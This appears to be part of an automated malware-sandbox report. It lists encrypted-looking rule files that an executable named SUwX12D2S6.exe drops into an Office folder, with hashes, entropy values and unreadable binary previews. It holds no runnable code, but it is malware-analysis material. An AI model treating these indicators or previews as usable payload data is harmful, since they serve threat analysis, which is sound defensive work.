Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.743972558327384
Encrypted:	false
SSDEEP:	24:9jk4lnOB6eU3FV0ebU5CkftlPkDjxH/iLX3eaVbD:9w4ti6H54RFlsFmX3HFD
MD5:	FDA1A4483D7742B15A5B36684948718E
SHA1:	2E78CC4F35A8D6CB42373655DEFF8A538C4F7B6F
SHA-256:	899A2D1DC158BA564302A68292F5189230D1B85DA11E85280289D0EEED7D8937
SHA-512:	9C3E6C4904AB5EEE13FFF15803F51749953F08C4E39D5CFF297BA69D9912DE1798054ED84E75901F6EC03477DE4920C90C1FE6FDF4DDF120AAC0472A2D36E766
Malicious:	false
Preview:	.<?.~..;_..H.v\|....d.$.I.?%SY......)Mv_..wk.n..P.B;n...+....Z.h9.....}q/..f.zG9......b....P...hI.. .u.=...V.MGn....e.E.d.d"..x.@.....)...m......$SH".0 .at....<N......;..j~.....%x.:S......._&.>...{2?...w.7....W...f 9'W.....{l.RD..f....E.5.)j?q....@]l.>...........>.."\|..]...J{JY..s...F...H....."d...#!z...u..V,.p..q=..?..p.a.Y>G..W.>....zeM..Cu...nx..G...?.0.x..Y.s....T.....Pk......,......{...G.U..._..^....uPN.e.TG..u......\~...;..;..9.S...D.,...:;...)....y.3....5Edg.M :c.y....'Cd.>.ag...(..W)...u.N....z.J..p.C....1..5.W..ED.cE...8.........#r.",..'.._'.\|.4..N.c.g.?O...W.....z...>.f...UzL....6...@.............2.g.5.?.5.....s.m...a.b.&K.o...F.Y...=yAL.r..n-QL&].M.H..\|@..[..M.Ye)!.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.636285360726386
Encrypted:	false
SSDEEP:	12:vrOqd9XjTbU7VfyhSS8Y4UjgU96tFHmkWSeNuqqDt5uQK5Z+P7T2Oc2aF/jVciik:vyy9zT+fy1NAtFHTW3ufXhtiVbD
MD5:	457322944CD977ABD797C797D14E91B4
SHA1:	3293AF453E86DB0C221EC54482526B2162876DDF
SHA-256:	04E2E8DEDD4FAB73487D174ED2C0A3417CB557583FF599EA76FD02BB3DEA6480
SHA-512:	9987CC994477819461D78DBC9A122EDED23E9647C633428E6AA616D1B1D793DF1D37974BFBD70F720F53E7189D935CA56BA749972B27DA38998468D5AF6A7B93
Malicious:	false
Preview:	.<?}..'DlZ.........T....9.2.y.%6._.....D.7[c....?.....Y;w..K..u...q.....I..6v..B .F.A.=#....uk.}...s.....e,$yh:.u..-K'n..~.4....p.FK...o5....Ri.%.m.f....c..!tt.q...&./?.B..]..r...+.9@..f.fD..W.8......f..h./7.F.R.u?i..t.K..7.....Y....1HL......lz...X.O..=..)v....\^..e.^.~..G.dA!...[\|..1._V\|l.t.L.c.}1....-1\|}@...<i......G7.myx..1{"..\|...37;%".....-.&...:hn..NQBm..F.L.li.Hc.'..N..-7%Myt0..I.\|.B.{..l........l[.....x.\.G.........D...\|.....\|.x.E..4Y...~o.^....=..L..p.l-:..0Y%...tG.o.&<B0...l@\|..2..H@..0.....J.......dy...j...:.T..>.?..%......~.......L.W....S.n...b..a..\|..R!..^.\|.....G.nB..}.9&$u.....$T.9...x?...4. ...r.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.739693084759568
Encrypted:	false
SSDEEP:	24:Cip5nPYXklLikGZ/L2CGFp5HzoaMrcW4xm9D1iVbD:Bp5nPY0lLiN5L2jHz3WZDoFD
MD5:	4D9A18FBCF3E7501E3A07987265835EF
SHA1:	0018FB5FC1E687FA7A7527E3C29A60B509BE58A7
SHA-256:	B588739E4BDF75DFC13110F201F472A26CFCD0E5722F7F7E8940D2385837B3DD
SHA-512:	E8933BE257531D8D3F027D27AA22D445AD3A4F8BF5A4CC14423A38BE2DF11A5EDE86681863EA8C1C69B3C79456B751CA5A4E9D722C8A7335BB68052D1AD34234
Malicious:	false
Preview:	.<?.W7.c...E...3......w..h....#.;.t._.k...$..5......{."_3Y";.yx.9y.cg.....v........@...p...s"..`...T......~..G....AC.BY.&.....u..?.@j....9...B#...D.q..."F.4y.s......X....z].].l......V.8.....b.(..+..p.......\|.W...py oG ..../.....W..M.$.{.<g..........pkN.".,.NJ.i^.2.........!1....v......g..qR.F.$u..E)x. .....5q./....5...B...C..D.w...!....n\.R....jMO.e.!.D...4<N.b.....J.8..G...m3.cv.e.$>{m..Il..w..jE~.o..f..U...C..DA.Z.3Jx2...H![.YE/.;...`u.YL._.$..n.aYC..1..V......3..:..r}S...:=.nb.).FjZ..6.G.I...sxz....@..:.,... u.....NE.4<.........RT..,.X=..K.T...<. ~!.5w}.....E.Y:6..d..WW...."z.>...K.s.;U.A..bk.5.i9.w-.e<.....q..~N.......4.EcO....U....e#.._.?d..\....Q.z/...-\...[.,C......\.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120629v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.746901420730631
Encrypted:	false
SSDEEP:	12:EQ4S0T5OVjJBYv/2/Mf0Jg68bka598wVvLIza3bIi/sKhdjVcii9a:EQr0ejWQCbka59TV8zqbQKh9VbD
MD5:	36BE255C9476B0734D3DC54AB01AE0C6
SHA1:	94B358CD46C28B21389E74FD1C28F7CF19E7968C
SHA-256:	536D3AA82F48C8CFF48C7D9E53A4747B115D2D1FBAC32A9032A0DF93FFD5E05F
SHA-512:	F09FCA5CF0C2B1A58CF2A317F479FB8C47431CDCDC8D6E8C10FC3BFEE9802576EA09FC3DB32D95C018363080D72B282F1EB41EE2E0B75FE181C796EDF2DA7551
Malicious:	false
Preview:	.<?l..~..v.s\|....oH.=......hP...d0.f..H\.U.K..e........R.R..G..4._h]L..1nt.D...;M..2m.?....!K.}.z.(.....pU...zt....Fw....)[....r....N.....%3..(N..fO..bx....\.;/....L..}...C....:..{...`.......Jb=....R:w...C...C...,.....U.<..Z....I...2.KWv...,.0.../.+.[..D..._C..?.....Bl.c..r.P.;...p....0k.......3..AM...>....;qT..+a.j...b.....k.9dC..C"...o..}..s..7......n.ms#........g......\|..X1V.......N....'.....f.v.........g\|...@p......6...r.H.~.MSZ...,.l..[ 5M ...+W...n....[...]....f.3H.<.......{...... .. .D....Y...q.....0Eep...N...j$...'.-K*....y..\|?.iA.-g.%..1..,Y..3.yH1.n.1i..._.:.....I..slj(.1}......$.U...-i.........L..`..S#.. .#..}...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120630v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	833
Entropy (8bit):	7.711529820294725
Encrypted:	false
SSDEEP:	12:6ttKTd30h1NZnEIwqSeLQwOL1yxAqYZHVcLJxmAStXKcrQH2cEekgWjVcii9a:pOTDnjkwOZqYZHq2VXprQWcqHVbD
MD5:	ECAE68C9D1ACF924099D8A186A61B9CF
SHA1:	78B89844AF3FE01A794192352CC94EE0F3B10A5C
SHA-256:	1135579A71121DA1A62B0D1321584EE1F720203C093EFE63693D0E4034C1D627
SHA-512:	3882E9295651E040409F4291AB7CEE6C29A7CC5878E620D46E7BD9C8AC5525F7B031FF721D66354F54FDC2F5107F9BC740E70417B255F06316DA602C020F4C21
Malicious:	false
Preview:	.<?..D..)...1...X...S.eu.?P.psI.]_.<@N..F.e.+..f,....s=.....C^g.7.4o4.n...`]..h..X...L.....HE.~.{.C..PR.~...._.2....(...Q.Mj..wPn.g`.?......_B.>K...r.....W....aQ.5&E......Z4B}..\|8.~1R..<<.!.Aa...e./..a...#......3.%May........:...>.......<.S7...jE.....X=yp..,EB........=w'....k....nG.qu@..~..m..W.F.YW..^....Pf%.Q...l}...@.N.e0...?...........LX..i{..w.......Q.s..l.'.y\|....X.F).d.i....&...f. ..r.D!..".r..[.N.Vb.?e.\|..-.:D.`...@..SL.....G....K..s..W.;u0%y.....}...4FU.'.w.`.....\....52.......\|...`L.k.U.:F...,...,r.FZ.^...Q.N}..g..K.+...%.z....T=]..Q;.l.uN..`....uOe...cP...N........Mq..Ft.A.e{:..w=7.f..C+...&.....d`8A.WN.+U..~.?X._.......o."...p..=.......hPf......"....Y...Z=._2..^....4Tf ....Lf..6....@H.P!..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.706844054298092
Encrypted:	false
SSDEEP:	12:NWCB1Jsq3RUyzoNjNSJO/d0Q4J9YGCz8zfe7Eys9MvsVR6CDGyNZCrbTDHOZiYj9:NWKRhUykNNS+dX4JaGCe3cAAQZ8rbvQf
MD5:	8C3C688EECFE411A7C072AC5D5FE287B
SHA1:	A27D3454D6CB97A53D5E619E672F5227807CA46D
SHA-256:	65601F8D2BCBBBB85D1B752F73708B16AB04707C3D257349575768F4E3D630ED
SHA-512:	5D261EC2C75466D68443B4C9E5BBA919AD5755F98DF05ACCB9345AAA4698881B0796619AB2FC1A3323501F74E69A790A2A3A009A6A25291EE6BEEC018335E64F
Malicious:	false
Preview:	.<?\5z#xx...q.q........x#7J1I...\|Dw..n..i.....m.i.....Tm...O..ZS.....8......f....u3......C..%..e..v2..%D.W.../ &...l..0.Uh.x..W.....AP.........x..'x...J.5...b....F....5.H...h........o.....M..X..e.._.l.EA3/g.r9"R7hU..D_... ..D.....Q....\...<o3..W...C.H8.Q[(.+.W.V!..1.l.......-...P...G..2Z.f.lk....^..GP..trbz..4..........:&R=.%d.i./@.......V..c...].4c_.H..%...Fv....zCU._.'..N.,.....q.t?5....*..m".'.z8...X...C#...x..o.T...)w.@KF. ..7.=L.'..N38.gF......:........q.a..9x..OF P..iH.......U$.u...,......>.....J..x"._.}..;g..d....A._.....K..>..l&......K].hi........lH.n.v..s.....'..I0.n...V._........H}i.....z..c.........%..R...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7274074572850235
Encrypted:	false
SSDEEP:	12:m3Y18xh+z5Yj/bpMBUoBzvVIT3q5uOrWXYRyLz20tGVx5RxKCtUPscejVcii9a:ZixhN/bydBzvd5mBQVx5RzKsccVbD
MD5:	40AEEBF0FD3A4DE61552C6BBB0AF0DC8
SHA1:	05C47EA83190BEC6DF3413AD598EA45DBF18A912
SHA-256:	78861E8521425B0CAC1D8EDB3BCD192352A486EAF327F45E46767705D8B376A2
SHA-512:	9B7F57D470E165D1C815760095BE198ABEF0642A29937743227C2970BB98F55E611F2870FFF775397411B3290914BE2F58EAFBB952A4C8DB7A7EFBE73AC9C28C
Malicious:	false
Preview:	.<?..;.....f.y..\.....-P.8.....qP...KA.aOP...]..H...X.Y..............7Ua.@...v.^.$Fj..aR,h..#.5M..~..4..........S.4=.t`........... FNm.[u...c.I..e.B.C.x_.H,.1.g..8f..~....;...ho.b..Y..J...[)..Z.....S..I_..2....R..Q'....Z.....Y.......iJ%.7.Z..m.x.2.E. :W.Lk..}e:V=...(j...+A..&3..>lW./lV... .[.../o8....;k..t.c..%.`I...V...C...3lB..A.4j.]s..:..t.2...P....s.\..\pCV....<.[d}...8.t7nBJn.u.vk...h!..~C.6.4t.Z%....D.....G2.....s.............X....e=..M........9.....@.d..4...G..Z..6...!#j$.....u......n.?...9Z....U..-...r.XB..;z4f.l.bh.rW..gu.j.... ..MK...<......V..e,....R.h.d#U....u.....k...3.. ..{......^./. '.Qf?Va............hr.~Z'...j......]>Af..I......J.'8.p.C~-..`.nQ2.J...}.`.wY..b.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.674658805432985
Encrypted:	false
SSDEEP:	12:dPy/UMEmvQvOTQwgAfNAr0Bj8WcC3Lv4Xl836x1qeBHJPMhrIVe4ynS2pxhjVciD:dK/UbmsFwgeI0BoWcOLv56xmhrdSMVbD
MD5:	16F1C84FFC09913FFF6F54716757AB83
SHA1:	AC7DE4625173E5AF42DFAA470045392EAACCC9A9
SHA-256:	9A51BC469E7BDABDB449C8C772B5932A7A2EA278F720092B28AA9380A47843E4
SHA-512:	045891C153DC79B7D25C3BBA91840E1F37572BD9EB2CC95F0C2BE0C8B3E8803A6C825FB5ABBE37CE211FD67CF5C7449B2A6B49B1A2B1A277090FB31016AEB870
Malicious:	false
Preview:	.<?..w>....#g...G.2.N....Y4+...c.-H..Y1Eb.'....d...@6....OX..1rA.C.......K......C.uo.;<...V!J.....R.n..I.....M.GG.PY..Ci.Xe...oi.....7..L..G.})..5....o/%......x.*O?.\.5}.sj.!..N.J..N...=w.m.&09.......m]G=.L.......~s.XFd...... .5.....x..A.....]p.G ..BR8..3T..&.#....E......be\|......7C..R..Lb..}...J.....$.n..4..]...0.n&v..GG..BGY.n^.'.N...o../....<.B...m..&.......6.K.Aw..`..T..<.........\|..#..-.{...P.[..-....NGu..Q8.....'k....Q....iG....$<V.0i. .-.w.d...x..#..\aJ.2....#.#=......=Z. h'^.tM.......z.w/.+I......[.........Q.\.:..S..+F4K...7.......F_^..8.V.o..#`,......c...lEe...x..phs.~..t._4....P..lX..f.........5.X:...k.......SIq...y.2...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.722302618676575
Encrypted:	false
SSDEEP:	12:ylC6BlHa+EwUu1uNnosTkcLd4iwpR3kFerSD6TiP40P91UK86Kb7Q1biDys9NjVX:yNBl6+CusT59w/3kvaiN44IDysXVbD
MD5:	BB27F82708F3A8B339E743BEDC75BA98
SHA1:	FA908CB136AF0DE576D955282366973F526E5536
SHA-256:	848D02E296A0742AF931CCC444A47FA030BF88F2E7F2B85984044D8861F53481
SHA-512:	DF6E25C50AC234919CA3CA6C65059ABD853CA52BED208CE6061761B995CC4BF722B64F90F9AD60E079864B5AA5148750EEB794F3286944CAB7F294442079B0A5
Malicious:	false
Preview:	.<?.P...:X...... ..do......n..Pfw....!..i.-..?.jL"}...%...=.Z.^=..[...{..../J..t?B.Z.r....i\>],......ndGH.J5..D........<....+.0..H..z.R..z-......0.X`.l@..s...}..I..z.W.!-..u..^.8..D%..sU...'&.m^V~......>..36..}...L'...-B...Z8.w...'.y........!.W.wg.....VG...y./....l.B.X.x".....T../.zF.FW.n.B....].V....G.......xT\|.-.`A.t...[.].G..............$.3...}..O..Lu`_j.x.RG...........$....bH.J.l..ms..O,,..T.G\.D0..d3..U.<SY..Y.W......0z...k...C.,...N....[.&E#......-.6...p..W.V.r{&{..'m..ef...W..M..}..!....Z...[.7[.N+....X...>R.{.@.,..Y...W.......D..............K0.._<HL......~G.5..[..>....x..&...w[L..bI).#"o..H..\^I..... .."`..w.h...%...$./R.v...B..6.f.-...l.=.&J..LoIL'.m...L6,x..7 5.}7V>.o..6.*Pt.:...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.728841575515868
Encrypted:	false
SSDEEP:	12:29TiiKCfAhWxLwiSLvzXNHVcCZlzTbzNfS3/Hl9To0kLXdyiThEsGdujKbvMAjVX:21ieNxLwiCHeCZlzDNf+Lk0B8RGkjKx9
MD5:	FCE69DF058A062CC0393B7C7EEA824B7
SHA1:	866807CB8B3AED1D7440588A16C14BBC9DA9FCB4
SHA-256:	B763B94154042B0F72343832E9F61909AFEC0D3DD0C22922CC3918BAE87EF744
SHA-512:	15B18A37EFCC999D940CB3C1C30D1B9F68A77319D8B0F74DECD8FB874751BF419CAFFDDE0B777E45FAD61CF2C665CEBEC02778DA4EA5DEE502BFE87D4B733751
Malicious:	false
Preview:	.<?..i.J....L..(.Z..:.!..y.Bnr.7.q..X...'."#.\|W...a..,y....a....qX.m5......k............k.%.g.}U...QC%Y3........H..r.1......@c..L...a.B.0.......~`.4.{tG.hA..G@.[.<....#.<b.:[...V..8m.O.6o...>..B...[...&^...`L..:..C.h.....W..x .....\|.Rl.?........pQ<2.....r..#H"]<.j....>....r...iL1...1..lQ?....;..O8....0.....'_..;.V=......k.p.\..U..6y}hF..j"e.zz.Y-..R..........]f..3.. .m..C.xt=nV9l..83c...t.A".4.5a.T.V...LtQ...R;v.z.[...\|.f.]..].8..Kbk..~I.V......l.v..$..s.Q.h..^F..2.,R..qY.e....V.n....]...../.@/..U.K.VJ.sO..l....\?...W]/.....*c...d.~N..b.F.we/> yVj.....W9ZBgK......v-...F_3\R.;IZ.n}9.....S.Q....f...w.ySD.O+..mu.Q<.....s..........r.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.695872291297503
Encrypted:	false
SSDEEP:	12:v+R2nRQWhqzxxlMa/XmYSU6X7KShm2EVsIXpRnYb2e/wAO4ESxO+pNziUWcQsjVX:KgQTzll6LFmxVsMniONaIT2VbD
MD5:	55DF8D1093424029129ED12FB7C91ADB
SHA1:	B7A5AB6B35C42BFDF63C271C659C7B149396A30D
SHA-256:	4634D749AD58F1EE0E2DE4ABE022E4B8C69ED9C56C4BA30A8DEA2B9E64FA3876
SHA-512:	CB75FB4964456E6129ED671A154E7829ACB111C673683987EF7F0256E55A4A257A2E2AA7DFC4076D25B512AC3647363A157591D06741A27E554DC90C081B40B6
Malicious:	false
Preview:	.<?.,0J..N:<6bR.......L......D..\|'.(H}Pp...\|'.N....X^}.`.P..0L....P....VA]X..W...f.b...c.$....._..M.V...QZ).h.su.R...]..Y...+3}j9cSL.x..{F.j#j...}`..z5HT...f..94e$}Z..g...8s..jT.2....\|V..........@.....>..q._Me.M.CT.-\|.w+v....(.}...^5>.{#.H...)Q..A..?pf.....>. ..Q.7...R.9<$$.....h.....\.jzo.q..%..1.;! IK~...._...;.EU..z.=.^D24e...v2#.BB@....s......,....C1J....>.)Aw....~Xkow.,X.r....u....z.....x..s.....3...5o....E.y...c.9..N+w.....d+H.2..?C.B_.>....XP....G...a1.....h..X.W<......<....>3)....2%...`B.Y...R....O...{...5`...[.......R..z..g......6..>/........ .v..h.........7.U...p.t..[.1\|:qX4V6.....N...Q.c.-..uk...?8..cz&vS. ...e.<.^.^.*..c..q.{.k\|.V4..A....d^...h.[...u.s..#.u.q..g..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.738519282929243
Encrypted:	false
SSDEEP:	12:t40hiazdyUBFwhBnZ2iEsgTdS/NKVCPE4nqZI5KUhpe+lxYbM7WstB+MAjVcii9a:BxBKHnk5sghUsVn4qZI5phpeyxYbM7rS
MD5:	2FBECBCAD79FE4FBCB0D4CE344BDA09B
SHA1:	ACC2FEF9ADB6C0CCD6A2A36AC0AFCD555D4F4821
SHA-256:	50DE5E8F9D5D225DE97D978551C1EB3EDF65BA7DB31616A2F57BA1014E30F4BC
SHA-512:	55FD24882DD3854403E72376D982FDEAE00658E24F7FF8AECC011C2EEED781270C8AE13425D08BF2D231E853C65F40C07D442F1F8DBE7750EFF830BC51D5E917
Malicious:	false
Preview:	.<?..+..c..xE..;..[......T[^.Q........u`..b.V.P[~.u.O..Gre&...4L.uT..)E.::>!..!......;.d.....L..;..\|..:UW.....~...r7.......7..v.&e.. .V!f%G.&...,.I...T........."Mi.3.....!580...\|&..."$.3.c.M...BnhY].=...$!..2}=.......W....&.....d.pU......]....me.4.H.d..Y...\|.0t....qY.....E.D.....IItp.H.......m.....$*..J.Z..G.i.g4.(Y\i.G.,.."M.1:G.....g..?.......P..l5....._.012.7.@O[..y>.[.? ..\..(.R&9+ru.W......Z.....%i.q`.g.:O]..X.z^..HQh.....m..M.a.,J..Xq......`..V...?...[...LQ......~m..%......(..O`.../...#......RDqg...K...N..O.!w2...)....m.w._.!.tIO..L ^.t-y?.X..3....^..,.\.`N.../.tPs.. y...4......j5W....d....j.........\|.I.....E^.s....oMe..L.V@.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.733115411539478
Encrypted:	false
SSDEEP:	24:vDD2RU+qkQSw7aFmjTzafTPmQUKKoAHedIWlkJVbD:vH2RU+q97xTOfjdAoinWaJFD
MD5:	E03DB8CD781A5A1FFC7E6444D059EFC5
SHA1:	93ABC4519471F431745B0FAE9C88D895B54D713E
SHA-256:	88CC07A0663956CF196D681521BF9CE2FDED4F7BD4245381FEFEFC50EDC6D2D1
SHA-512:	B9E2EC851B9832035A643B97D74AA64C079B83082F381CE17F9DD3F39BD57ABD28562AC9E76573F532D9A151A0E67F0B573E721ED528E3A77732FA781BA22204
Malicious:	false
Preview:	.<??.......m.`......\....`>YI.7..w.8.}..r..r....x.Q.KA..".N)...A.......Yvx.l].(...q(2\|.].S.d.......`.y.+....c.t.P4.......Z@........T.knSG.$.a....."`.3k.....P"-..+.xi..B....s.z...A+(..].,.}..<.d,.......f.}.W..........f...l^..=.~\|8.`yW2..H...7.....E.?.\.._$..4c.h.qO%Y#.....D......^..K...tz.f......ulb..)....Y~.......c..-.[\':.y....23.p.^..a..."D..w..t..u..Y_.#pi..U..5.J.....[?'.$.3.>b..H.%....\?7.~.)+....a...P.%ikt.$-M..)kk}...W.....q{.a.U.Hs;.F..gun..W0..F:m5....`{h>[&.5E....xw.".c.......TU....Y4{.. ..\).......p_.Py....L...I.X.\..T',.?..c.5...LW..s....-.E?t#..qC...>AG.yq......,U......}.kA..G.U1.f..".Uo....._.....1 .8Q[...U.....r.1......e..s.TIGm[.`R.iX.5).^..... ..')....^3#G.....1.E......Z..-i...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	757
Entropy (8bit):	7.697297201925965
Encrypted:	false
SSDEEP:	12:0risoLl0F2qTkovSxUZfCCsU7zoqyTZtNig7O7Y5iYViUmlH3KxgZjVcii9a:0risoLuF29x0tHoJfv7O+ipUmBKMVbD
MD5:	4BA62C2CB82C2DD32B31276CF47E5ACB
SHA1:	B83457F641A2BCC7506E98EEA31B4341F8B5FB7B
SHA-256:	D7F046B9FDCD307B1D7C8845B5CC2E9988A00E46118384D23CA3525C07E5AF68
SHA-512:	F9030EC13246B4A662BE26FEF0394832FE1E7305DC36C0C93F9E56B120131A6641169BE48E3C1E5C31AF1EFC20E1E999CB28D6FDB57FD76FD4E1F08F56BAFA90
Malicious:	false
Preview:	.<?...1.[Ah7..x....D.Q..Jya...,....A.y.H...P.....QG.~...GK..1..-...NZ..Z...y.v>...E_.q..X.-R..L..)..L[..'.Q(.`...T-o....'.(/.....?F.)..rp.-..0C.x..Z...?..u.ws..L.s"SeW.D...CK.X....$..y..x+D.....B..-.!X..E...L.....Mb...wu..Y>..K~.C(E..q.....RQ......<..6.T........e.Ec...u..l...3..>...h....(...Mb.\|........C.P..~...L#.P..9......,D..x..M.^....A..a......Q.o.2....D.g`..L.IE'O.`.../3m.M.",......kr....n0:.8..E8ni.+&.+\|)..j.6.wv.........;....."Oa.!..g....0v..D.E6}".j.t..Ioma..V~.....N...Xz8..R.h.....V.........R.~...B.nF.,DB.C..p.=...Q.....4@....3.mOJ[7.)z......Z.Bs..s.@.....j\.......5g.k.ut.eV..:..=..=.E.H.Cd+.z........U9..^:./....<...}>...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.740757402254002
Encrypted:	false
SSDEEP:	24:n7WhpfOnkl5dsnvr1EUvNiHPInJzhfgkWzzmiVbD:n7WzOkl5Ovr1EUgPIyzrFD
MD5:	1373E8BDDF9A012439ED1741C86DDC52
SHA1:	DB37EB4A56D71C5E7A89957C5720B4957A9C3858
SHA-256:	42DA109AD4FDF05B45762BA84AA8670ED0E09FC91A739166698AB1B99C62EB35
SHA-512:	AD126019AC84C2F4BEE7E92DCCECC19843033E6F0EBD62B7A3C08C46301682B0111F2EB52A41F1FB2DA21C87F551B3B59FE83711D8D238184957F9CD83ADCC6D
Malicious:	false
Preview:	.<?7....c8..X+l....v.r...Y..._..`....NJ...........T.F..Twi..{..u.\.D.........v..t.rqM..i&.~Q}U.........=RQ..".}.........i.x.b.\|..u#V.+..N.o...(.YmE..za,.!...B-/.....7..$.vA\|aI.._.v..7;.2....3.m...R.#...X.h..R.B..R..ik..C.....n4...f v>e..P...'.#!.Tl=..%gi..N..I&T......)]..g.e.5......>5?(..\...~..m.=..[.........;.....I...G.....5>4j.}..#...Yg...).O.U.g...^.(8.........vp.^E%..P...\..C.r...>..DA.r..qx_.....K..../..~D.z..}[.".j0...GJ.^..D.t.l..t"..B.....Y..j...R..miTE..x...;.H$b...C..S.V...m+..)...'.^..p...6.0J.3D()..nVZ$.lss3.a.nZ4oqyk.F....C))..Bp._/.E.F.P.V......G{..a=v+..}N9.R.m....d...07Kc.1......g.+;....=..-.O...B..:...e ....].ik.wo.wq..`..."...>.q..$."...j@$5.....5.l&^.w.I...8=)S.M^..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.708266606581973
Encrypted:	false
SSDEEP:	12:n93N5TDoYbTJB9uj2QUI/TDLhs+hAXXtsaFcMCZZfGG3qPRyU5VBC148FkxrmhhZ:d7TDRcqQUYDtxhAXXqaTkR3qP1w14HK9
MD5:	D2EA73D500A16D85DA7110D279BFF376
SHA1:	FB3FB82583473A925145467B03F11FC74E7C89EF
SHA-256:	3C181229D95A3733F0F6853D2278C4222E31EF367E6A8084369560E667BE86E2
SHA-512:	1FC1F1E747146E859B6DC9B6A11CD8C56FA7EB780030187E694EB7AC8B58F1C6707FCB4C24CCFFD199CB184CF97599572670BD76501151388A06EABC9A9C4C0A
Malicious:	false
